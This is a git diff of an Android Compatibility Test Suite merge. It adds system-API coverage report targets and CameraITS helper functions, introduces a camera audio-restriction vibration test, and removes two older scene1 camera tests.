Merge changes I6b247672,Ie8ea452b,I9ef52453 into pie-cts-dev am: 70030aaec3 am: 524c6f2582 am: cd37a96095 am: 86496d8351 am: 1a3092a068 am: 0095898b85
Change-Id: I0353da5a0f6c85a7d1dbee60a4febdb2a85591ee
diff --git a/.gitignore b/.gitignore
index 33bfd97..ff66172 100644
--- a/.gitignore
+++ b/.gitignore
@@ -9,3 +9,6 @@
*.iml
*.class
*.sw*
+
+# Jars added by Idea's "Konfigure kotlin in project" action
+**/lib/kotlin-*.jar
\ No newline at end of file
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index 0ac533b..3c065c8 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -31,12 +31,17 @@
$(hide) mkdir -p $(dir $@)
$(hide) $(ACP) $< $@
+system_api_xml_description := $(TARGET_OUT_COMMON_INTERMEDIATES)/system-api.xml
+
cts-test-coverage-report := $(coverage_out)/test-coverage.html
+cts-system-api-coverage-report := $(coverage_out)/system-api-coverage.html
+cts-system-api-xml-coverage-report := $(coverage_out)/system-api-coverage.xml
cts-verifier-coverage-report := $(coverage_out)/verifier-coverage.html
cts-combined-coverage-report := $(coverage_out)/combined-coverage.html
cts-combined-xml-coverage-report := $(coverage_out)/combined-coverage.xml
cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description) $(napi_xml_description)
+cts_system_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(system_api_xml_description)
android_cts_zip := $(HOST_OUT)/cts/android-cts.zip
cts_verifier_apk := $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk
@@ -50,6 +55,24 @@
$(call generate-coverage-report-cts,"CTS Tests API-NDK Coverage Report",\
$(PRIVATE_TEST_CASES),html)
+$(cts-system-api-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
+$(cts-system-api-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
+$(cts-system-api-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
+$(cts-system-api-coverage-report): PRIVATE_API_XML_DESC := $(system_api_xml_description)
+$(cts-system-api-coverage-report): PRIVATE_NAPI_XML_DESC := ""
+$(cts-system-api-coverage-report) : $(android_cts_zip) $(cts_system_api_coverage_dependencies) | $(ACP)
+ $(call generate-coverage-report-cts,"CTS System API Coverage Report",\
+ $(PRIVATE_TEST_CASES),html)
+
+$(cts-system-api-xml-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
+$(cts-system-api-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
+$(cts-system-api-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
+$(cts-system-api-xml-coverage-report): PRIVATE_API_XML_DESC := $(system_api_xml_description)
+$(cts-system-api-xml-coverage-report): PRIVATE_NAPI_XML_DESC := ""
+$(cts-system-api-xml-coverage-report) : $(android_cts_zip) $(cts_system_api_coverage_dependencies) | $(ACP)
+ $(call generate-coverage-report-cts,"CTS System API Coverage Report - XML",\
+ $(PRIVATE_TEST_CASES),xml)
+
$(cts-verifier-coverage-report): PRIVATE_TEST_CASES := $(cts_verifier_apk)
$(cts-verifier-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-verifier-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
@@ -80,6 +103,12 @@
.PHONY: cts-test-coverage
cts-test-coverage : $(cts-test-coverage-report)
+.PHONY: cts-system-api-coverage
+cts-system-api-coverage : $(cts-system-api-coverage-report)
+
+.PHONY: cts-system-api-xml-coverage
+cts-system-api-xml-coverage : $(cts-system-api-xml-coverage-report)
+
.PHONY: cts-verifier-coverage
cts-verifier-coverage : $(cts-verifier-coverage-report)
@@ -94,6 +123,8 @@
# Put the test coverage report in the dist dir if "cts-api-coverage" is among the build goals.
$(call dist-for-goals, cts-api-coverage, $(cts-test-coverage-report):cts-test-coverage-report.html)
+$(call dist-for-goals, cts-api-coverage, $(cts-system-api-coverage-report):cts-system-api-coverage-report.html)
+$(call dist-for-goals, cts-api-coverage, $(cts-system-api-xml-coverage-report):cts-system-api-coverage-report.xml)
$(call dist-for-goals, cts-api-coverage, $(cts-verifier-coverage-report):cts-verifier-coverage-report.html)
$(call dist-for-goals, cts-api-coverage, $(cts-combined-coverage-report):cts-combined-coverage-report.html)
$(call dist-for-goals, cts-api-coverage, $(cts-combined-xml-coverage-report):cts-combined-coverage-report.xml)
@@ -110,12 +141,16 @@
# Reset temp vars
cts_api_coverage_dependencies :=
+cts_system_api_coverage_dependencies :=
cts-combined-coverage-report :=
cts-combined-xml-coverage-report :=
cts-verifier-coverage-report :=
cts-test-coverage-report :=
+cts-system-api-coverage-report :=
+cts-system-api-xml-coverage-report :=
api_xml_description :=
api_text_description :=
+system_api_xml_description :=
napi_xml_description :=
napi_text_description :=
coverage_out :=
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 39a0f35..29f027e 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -1,5 +1,6 @@
[Builtin Hooks]
clang_format = true
+xmllint = true
[Builtin Hooks Options]
clang_format = --commit ${PREUPLOAD_COMMIT} --style file --extensions c,h,cc,cpp
@@ -10,6 +11,7 @@
-fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
apps/CtsVerifierUSBCompanion/
libs/
+ tests/app/
tests/autofillservice/
tests/contentcaptureservice/
tests/tests/animation/
diff --git a/apps/CameraITS/CameraITS.pdf b/apps/CameraITS/CameraITS.pdf
index 5f1e481..f45d652 100644
--- a/apps/CameraITS/CameraITS.pdf
+++ b/apps/CameraITS/CameraITS.pdf
Binary files differ
diff --git a/apps/CameraITS/build/envsetup.sh b/apps/CameraITS/build/envsetup.sh
index ae12e10..6dcdf79 100644
--- a/apps/CameraITS/build/envsetup.sh
+++ b/apps/CameraITS/build/envsetup.sh
@@ -31,7 +31,7 @@
python -V 2>&1 | grep -q "Python 2.7" || \
echo ">> Require python 2.7" >&2
-for M in numpy PIL matplotlib scipy.stats scipy.spatial
+for M in numpy PIL matplotlib scipy.stats scipy.spatial serial
do
python -c "import $M" >/dev/null 2>&1 || \
echo ">> Require Python $M module" >&2
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index a4b6927..4c527d9 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -17,6 +17,12 @@
import its.objects
+# lens facing
+FACING_FRONT = 0
+FACING_BACK = 1
+FACING_EXTERNAL = 2
+
+SKIP_RET_CODE = 101
def skip_unless(cond):
"""Skips the test if the condition is false.
@@ -31,8 +37,6 @@
Returns:
Nothing.
"""
- SKIP_RET_CODE = 101
-
if not cond:
print "Test skipped"
sys.exit(SKIP_RET_CODE)
@@ -551,6 +555,23 @@
0 in props["android.request.availableCapabilities"]
+def sensor_fusion_capable(props):
+ """Determine if test_sensor_fusion is run."""
+ return all([
+ its.caps.sensor_fusion(props),
+ its.caps.manual_sensor(props),
+ props["android.lens.facing"] != FACING_EXTERNAL])
+
+
+def multi_camera_frame_sync_capable(props):
+ """Determine if test_multi_camera_frame_sync is run."""
+ return all([
+ read_3a(props),
+ per_frame_control(props),
+ logical_multi_camera(props),
+ sensor_fusion(props)])
+
+
class __UnitTest(unittest.TestCase):
"""Run a suite of unit tests on this module.
"""
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 3311318..bc1d3a6 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -27,6 +27,7 @@
from collections import namedtuple
+
class ItsSession(object):
"""Controls a device over adb to run ITS scripts.
@@ -320,6 +321,23 @@
if data['tag'] != 'vibrationStarted':
raise its.error.Error('Invalid command response')
+ def set_audio_restriction(self, mode):
+ """Set the audio restriction mode for this camera device.
+
+ Args:
+ mode: the audio restriction mode. See CameraDevice.java for valid
+ value.
+ Returns:
+ Nothing.
+ """
+ cmd = {}
+ cmd["cmdName"] = "setAudioRestriction"
+ cmd["mode"] = mode
+ self.sock.send(json.dumps(cmd) + "\n")
+ data,_ = self.__read_response_from_socket()
+ if data["tag"] != "audioRestrictionSet":
+ raise its.error.Error("Invalid command response")
+
def get_sensors(self):
"""Get all sensors on the device.
@@ -1091,7 +1109,7 @@
return device_bfp
def parse_camera_ids(ids):
- """ Parse the string of camera IDs into array of CameraIdCombo tuples.
+ """Parse the string of camera IDs into array of CameraIdCombo tuples.
"""
CameraIdCombo = namedtuple('CameraIdCombo', ['id', 'sub_id'])
id_combos = []
@@ -1105,6 +1123,35 @@
assert(False), 'Camera id parameters must be either ID, or ID:SUB_ID'
return id_combos
+
+def get_build_sdk_version(device_id=None):
+ """Get the build version of the device."""
+ if not device_id:
+ device_id = get_device_id()
+ cmd = 'adb -s %s shell getprop ro.build.version.sdk' % device_id
+ try:
+ build_sdk_version = int(subprocess.check_output(cmd.split()).rstrip())
+ print 'Build SDK version: %d' % build_sdk_version
+ except (subprocess.CalledProcessError, ValueError):
+ print 'No build_sdk_version.'
+ assert 0
+ return build_sdk_version
+
+
+def get_first_api_level(device_id=None):
+ """Get the first API level for device."""
+ if not device_id:
+ device_id = get_device_id()
+ cmd = 'adb -s %s shell getprop ro.product.first_api_level' % device_id
+ try:
+ first_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+ print 'First API level: %d' % first_api_level
+ except (subprocess.CalledProcessError, ValueError):
+ print 'No first_api_level. Setting to build version.'
+ first_api_level = get_build_sdk_version(device_id)
+ return first_api_level
+
+
def _run(cmd):
"""Replacement for os.system, with hiding of stdout+stderr messages.
"""
diff --git a/apps/CameraITS/tests/scene0/test_audio_restriction.py b/apps/CameraITS/tests/scene0/test_audio_restriction.py
new file mode 100644
index 0000000..c771381
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_audio_restriction.py
@@ -0,0 +1,100 @@
+# Copyright 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import math
+import os.path
+import time
+
+import its.caps
+import its.device
+import matplotlib
+from matplotlib import pylab
+import numpy as np
+
+NAME = os.path.basename(__file__).split(".")[0]
+
+# if the var(x) > var(stable) * this threshold, then device is considered vibrated
+# Test results shows the variance difference is larger for higher sampling frequency
+# This threshold is good enough for 50hz samples.
+THRESHOLD_VIBRATION_VAR = 10.0
+
+# Match CameraDevice.java constant
+AUDIO_RESTRICTION_NONE = 0
+AUDIO_RESTRICTION_VIBRATION = 1
+AUDIO_RESTRICTION_VIBRATION_SOUND = 2
+
+# The sleep time between vibrator on/off to avoid getting some residual vibrations
+SLEEP_BETWEEN_SAMPLES_SEC = 0.5
+# The sleep time to collect sensor samples
+SLEEP_COLLECT_SAMPLES_SEC = 1.0
+
+def calc_magnitude(e):
+ x = e["x"]
+ y = e["y"]
+ z = e["z"]
+ return math.sqrt(x*x + y*y + z*z)
+
+def main():
+ """Test vibrations can be muted by the camera audio restriction API."""
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
+ sensors = cam.get_sensors()
+
+ its.caps.skip_unless(sensors.get("accel") and sensors.get("vibrator"))
+
+ cam.start_sensor_events()
+ pattern_ms = [0, 1000]
+ cam.do_vibrate(pattern_ms)
+ test_length_second = sum(pattern_ms) / 1000
+ time.sleep(test_length_second)
+ events = cam.get_sensor_events()
+ print "Accelerometer events over %ds: %d " % (test_length_second, len(events["accel"]))
+ times_ms = [e["time"]/float(1e6) for e in events["accel"]]
+ t0 = times_ms[0]
+ times_ms = [t - t0 for t in times_ms]
+ magnitudes = [calc_magnitude(e) for e in events["accel"]]
+ var_w_vibration = np.var(magnitudes)
+
+ time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+ cam.start_sensor_events()
+ time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+ events = cam.get_sensor_events()
+ magnitudes = [calc_magnitude(e) for e in events["accel"]]
+ var_wo_vibration = np.var(magnitudes)
+
+ if var_w_vibration < var_wo_vibration * THRESHOLD_VIBRATION_VAR:
+ print "Warning: unable to detect vibration, variance w/wo vibration too close:"\
+ " %f/%f. Make sure device is on non-dampening surface" % (
+ var_w_vibration, var_wo_vibration)
+
+ time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+ cam.start_sensor_events()
+ cam.set_audio_restriction(AUDIO_RESTRICTION_VIBRATION)
+ cam.do_vibrate(pattern_ms)
+ time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+ events = cam.get_sensor_events()
+ magnitudes = [calc_magnitude(e) for e in events["accel"]]
+ var_w_vibration_restricted = np.var(magnitudes)
+
+ print "Accel variance with/without/restricted vibration (%f, %f, %f)" % (
+ var_w_vibration, var_wo_vibration, var_w_vibration_restricted)
+
+ e_msg = "Device vibrated while vibration is muted"
+ assert var_w_vibration_restricted < var_wo_vibration * THRESHOLD_VIBRATION_VAR, e_msg
+
+if __name__ == "__main__":
+ main()
+
diff --git a/apps/CameraITS/tests/scene0/test_sensor_events.py b/apps/CameraITS/tests/scene0/test_sensor_events.py
index cc0e647..d35ae11 100644
--- a/apps/CameraITS/tests/scene0/test_sensor_events.py
+++ b/apps/CameraITS/tests/scene0/test_sensor_events.py
@@ -36,10 +36,11 @@
print "Events over 1s: %d gyro, %d accel, %d mag"%(
len(events["gyro"]), len(events["accel"]), len(events["mag"]))
for key, existing in sensors.iteritems():
- if existing:
- e_msg = 'Sensor %s has no events!' % key
+ # Vibrator does not return any sensor event. b/142653973
+ if existing and key != "vibrator":
+ e_msg = "Sensor %s has no events!" % key
assert len(events[key]) > 0, e_msg
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tests/scene0/test_test_patterns.py b/apps/CameraITS/tests/scene0/test_test_patterns.py
index a1d9cb8..48d464d 100644
--- a/apps/CameraITS/tests/scene0/test_test_patterns.py
+++ b/apps/CameraITS/tests/scene0/test_test_patterns.py
@@ -21,7 +21,7 @@
import numpy as np
NAME = os.path.basename(__file__).split('.')[0]
-PATTERNS = [1, 2]
+CHECKED_PATTERNS = [1, 2] # [SOLID_COLOR, COLOR_BARS]
COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
'BLUE', 'BLACK']
COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
@@ -29,6 +29,7 @@
'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
CH_TOL = 2E-3 # 1/2 DN in [0:1]
LSFR_COEFFS = 0b100010000 # PN9
+REQUIRED_PATTERNS = [2] # [COLOR_BARS]
def check_solid_color(cap, props):
@@ -127,7 +128,7 @@
sens_min, _ = props['android.sensor.info.sensitivityRange']
exposure = min(props['android.sensor.info.exposureTimeRange'])
- for pattern in PATTERNS:
+ for pattern in CHECKED_PATTERNS:
if pattern in avail_patterns:
req = its.objects.manual_capture_request(int(sens_min),
exposure)
@@ -143,7 +144,11 @@
# Check pattern for correctness
assert check_pattern(cap, props, pattern)
else:
- print 'Pattern not in android.sensor.availableTestPatternModes.'
+ print '%d not in android.sensor.availableTestPatternModes.' % (
+ pattern)
+ msg = 'avail_patterns: %s, REQUIRED_PATTERNS: %s' % (
+ str(avail_patterns), str(REQUIRED_PATTERNS))
+ assert set(REQUIRED_PATTERNS).issubset(avail_patterns), msg
def main():
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index 008351d..e377feb 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -25,6 +25,7 @@
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
# Only run test if the appropriate caps are claimed.
its.caps.skip_unless(its.caps.sensor_fusion(props) and
@@ -47,7 +48,8 @@
ts_sensor_first = {}
ts_sensor_last = {}
for sensor, existing in sensors.iteritems():
- if existing:
+ # Vibrator doesn't generate outputs: b/142653973
+ if existing and sensor != 'vibrator':
assert events[sensor], '%s sensor has no events!' % sensor
ts_sensor_first[sensor] = events[sensor][0]['time']
ts_sensor_last[sensor] = events[sensor][-1]['time']
@@ -60,7 +62,7 @@
# The motion timestamps must be between the two image timestamps.
for sensor, existing in sensors.iteritems():
- if existing:
+ if existing and sensor != 'vibrator':
print '%s timestamps: %d %d' % (sensor, ts_sensor_first[sensor],
ts_sensor_last[sensor])
assert ts_image0 < ts_sensor_first[sensor] < ts_image1
diff --git a/apps/CameraITS/tests/scene1/test_burst_sameness_manual.py b/apps/CameraITS/tests/scene1/test_burst_sameness_manual.py
deleted file mode 100644
index 92239db..0000000
--- a/apps/CameraITS/tests/scene1/test_burst_sameness_manual.py
+++ /dev/null
@@ -1,104 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
-from matplotlib import pylab
-import matplotlib.pyplot
-import numpy
-
-BURST_LEN = 50
-BURSTS = 5
-COLORS = ["R", "G", "B"]
-FRAMES = BURST_LEN * BURSTS
-NAME = os.path.basename(__file__).split(".")[0]
-SPREAD_THRESH = 0.03
-
-
-def main():
- """Take long bursts of images and check that they're all identical.
-
- Assumes a static scene. Can be used to idenfity if there are sporadic
- frames that are processed differently or have artifacts. Uses manual
- capture settings.
- """
-
- with its.device.ItsSession() as cam:
-
- # Capture at the smallest resolution.
- props = cam.get_camera_properties()
- its.caps.skip_unless(its.caps.compute_target_exposure(props) and
- its.caps.per_frame_control(props))
- debug = its.caps.debug_mode()
-
- _, fmt = its.objects.get_fastest_manual_capture_settings(props)
- e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
- req = its.objects.manual_capture_request(s, e)
- w, h = fmt["width"], fmt["height"]
-
- # Capture bursts of YUV shots.
- # Get the mean values of a center patch for each.
- # Also build a 4D array, which is an array of all RGB images.
- r_means = []
- g_means = []
- b_means = []
- imgs = numpy.empty([FRAMES, h, w, 3])
- for j in range(BURSTS):
- caps = cam.do_capture([req]*BURST_LEN, [fmt])
- for i, cap in enumerate(caps):
- n = j*BURST_LEN + i
- imgs[n] = its.image.convert_capture_to_rgb_image(cap)
- tile = its.image.get_image_patch(imgs[n], 0.45, 0.45, 0.1, 0.1)
- means = its.image.compute_image_means(tile)
- r_means.append(means[0])
- g_means.append(means[1])
- b_means.append(means[2])
-
- # Dump all images if debug
- if debug:
- print "Dumping images"
- for i in range(FRAMES):
- its.image.write_image(imgs[i], "%s_frame%03d.jpg"%(NAME, i))
-
- # The mean image.
- img_mean = imgs.mean(0)
- its.image.write_image(img_mean, "%s_mean.jpg"%(NAME))
-
- # Plot means vs frames
- frames = range(FRAMES)
- pylab.title(NAME)
- pylab.plot(frames, r_means, "-ro")
- pylab.plot(frames, g_means, "-go")
- pylab.plot(frames, b_means, "-bo")
- pylab.ylim([0, 1])
- pylab.xlabel("frame number")
- pylab.ylabel("RGB avg [0, 1]")
- matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
-
- # PASS/FAIL based on center patch similarity.
- for plane, means in enumerate([r_means, g_means, b_means]):
- spread = max(means) - min(means)
- msg = "%s spread: %.5f, SPREAD_THRESH: %.3f" % (
- COLORS[plane], spread, SPREAD_THRESH)
- print msg
- assert spread < SPREAD_THRESH, msg
-
-if __name__ == "__main__":
- main()
-
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
deleted file mode 100644
index a13f020..0000000
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ /dev/null
@@ -1,204 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-import matplotlib
-from matplotlib import pylab
-import numpy
-
-IMG_STATS_GRID = 9 # find used to find the center 11.11%
-NAME = os.path.basename(__file__).split('.')[0]
-THRESHOLD_MAX_OUTLIER_DIFF = 0.1
-THRESHOLD_MIN_LEVEL = 0.1
-THRESHOLD_MAX_LEVEL = 0.9
-THRESHOLD_MAX_LEVEL_DIFF = 0.045
-THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
-THRESH_ROUND_DOWN_GAIN = 0.1
-THRESH_ROUND_DOWN_EXP = 0.03
-THRESH_ROUND_DOWN_EXP0 = 1.00 # tol at 0ms exp; theoretical limit @ 4-line exp
-THRESH_EXP_KNEE = 6E6 # exposures less than knee have relaxed tol
-
-
-def get_raw_active_array_size(props):
- """Return the active array w, h from props."""
- aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
- props['android.sensor.info.preCorrectionActiveArraySize']['left'])
- aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
- props['android.sensor.info.preCorrectionActiveArraySize']['top'])
- return aaw, aah
-
-
-def main():
- """Test that a constant exposure is seen as ISO and exposure time vary.
-
- Take a series of shots that have ISO and exposure time chosen to balance
- each other; result should be the same brightness, but over the sequence
- the images should get noisier.
- """
- mults = []
- r_means = []
- g_means = []
- b_means = []
- raw_r_means = []
- raw_gr_means = []
- raw_gb_means = []
- raw_b_means = []
- threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF
-
- with its.device.ItsSession() as cam:
- props = cam.get_camera_properties()
- props = cam.override_with_hidden_physical_camera_props(props)
- its.caps.skip_unless(its.caps.compute_target_exposure(props))
- sync_latency = its.caps.sync_latency(props)
- process_raw = its.caps.raw16(props) and its.caps.manual_sensor(props)
- debug = its.caps.debug_mode()
- largest_yuv = its.objects.get_largest_yuv_format(props)
- if debug:
- fmt = largest_yuv
- else:
- match_ar = (largest_yuv['width'], largest_yuv['height'])
- fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-
- e, s = its.target.get_target_exposure_combos(cam)['minSensitivity']
- s_e_product = s*e
- expt_range = props['android.sensor.info.exposureTimeRange']
- sens_range = props['android.sensor.info.sensitivityRange']
-
- m = 1.0
- while s*m < sens_range[1] and e/m > expt_range[0]:
- mults.append(m)
- s_test = round(s*m)
- e_test = s_e_product / s_test
- print 'Testing s:', s_test, 'e:', e_test
- req = its.objects.manual_capture_request(
- s_test, e_test, 0.0, True, props)
- cap = its.device.do_capture_with_latency(
- cam, req, sync_latency, fmt)
- s_res = cap['metadata']['android.sensor.sensitivity']
- e_res = cap['metadata']['android.sensor.exposureTime']
- # determine exposure tolerance based on exposure time
- if e_test >= THRESH_EXP_KNEE:
- thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
- else:
- thresh_round_down_exp = (
- THRESH_ROUND_DOWN_EXP +
- (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
- (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
- s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
- s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
- e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
- e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
- assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
- assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
- s_e_product_res = s_res * e_res
- request_result_ratio = float(s_e_product) / s_e_product_res
- print 'Capture result s:', s_res, 'e:', e_res
- img = its.image.convert_capture_to_rgb_image(cap)
- its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
- tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
- rgb_means = its.image.compute_image_means(tile)
- # Adjust for the difference between request and result
- r_means.append(rgb_means[0] * request_result_ratio)
- g_means.append(rgb_means[1] * request_result_ratio)
- b_means.append(rgb_means[2] * request_result_ratio)
- # do same in RAW space if possible
- if process_raw and debug:
- aaw, aah = get_raw_active_array_size(props)
- fmt_raw = {'format': 'rawStats',
- 'gridWidth': aaw/IMG_STATS_GRID,
- 'gridHeight': aah/IMG_STATS_GRID}
- raw_cap = its.device.do_capture_with_latency(
- cam, req, sync_latency, fmt_raw)
- r, gr, gb, b = its.image.convert_capture_to_planes(
- raw_cap, props)
- raw_r_means.append(r[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
- * request_result_ratio)
- raw_gr_means.append(gr[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
- * request_result_ratio)
- raw_gb_means.append(gb[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
- * request_result_ratio)
- raw_b_means.append(b[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
- * request_result_ratio)
- # Test 3 steps per 2x gain
- m *= pow(2, 1.0 / 3)
-
- # Allow more threshold for devices with wider exposure range
- if m >= 64.0:
- threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE
-
- # Draw plots
- pylab.figure('rgb data')
- pylab.plot(mults, r_means, 'ro-')
- pylab.plot(mults, g_means, 'go-')
- pylab.plot(mults, b_means, 'bo-')
- pylab.title(NAME + 'RGB Data')
- pylab.xlabel('Gain Multiplier')
- pylab.ylabel('Normalized RGB Plane Avg')
- pylab.ylim([0, 1])
- matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
-
- if process_raw and debug:
- pylab.figure('raw data')
- pylab.plot(mults, raw_r_means, 'ro-', label='R')
- pylab.plot(mults, raw_gr_means, 'go-', label='GR')
- pylab.plot(mults, raw_gb_means, 'ko-', label='GB')
- pylab.plot(mults, raw_b_means, 'bo-', label='B')
- pylab.title(NAME + 'RAW Data')
- pylab.xlabel('Gain Multiplier')
- pylab.ylabel('Normalized RAW Plane Avg')
- pylab.ylim([0, 1])
- pylab.legend(numpoints=1)
- matplotlib.pyplot.savefig('%s_plot_raw_means.png' % (NAME))
-
- # Check for linearity. Verify sample pixel mean values are close to each
- # other. Also ensure that the images aren't clamped to 0 or 1
- # (which would make them look like flat lines).
- for chan in xrange(3):
- values = [r_means, g_means, b_means][chan]
- m, b = numpy.polyfit(mults, values, 1).tolist()
- max_val = max(values)
- min_val = min(values)
- max_diff = max_val - min_val
- print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan, m, b)
- print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
- assert max_diff < threshold_max_level_diff
- assert b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL
- for v in values:
- assert v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL
- assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF
- if process_raw and debug:
- for chan in xrange(4):
- values = [raw_r_means, raw_gr_means, raw_gb_means,
- raw_b_means][chan]
- m, b = numpy.polyfit(mults, values, 1).tolist()
- max_val = max(values)
- min_val = min(values)
- max_diff = max_val - min_val
- print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan,
- m, b)
- print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
- assert max_diff < threshold_max_level_diff
- assert b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL
- for v in values:
- assert v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL
- assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF
-
-if __name__ == '__main__':
- main()
diff --git a/apps/CameraITS/tests/scene1/scene1.pdf b/apps/CameraITS/tests/scene1_1/scene1_1.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene1/scene1.pdf
rename to apps/CameraITS/tests/scene1_1/scene1_1.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
Binary files differ
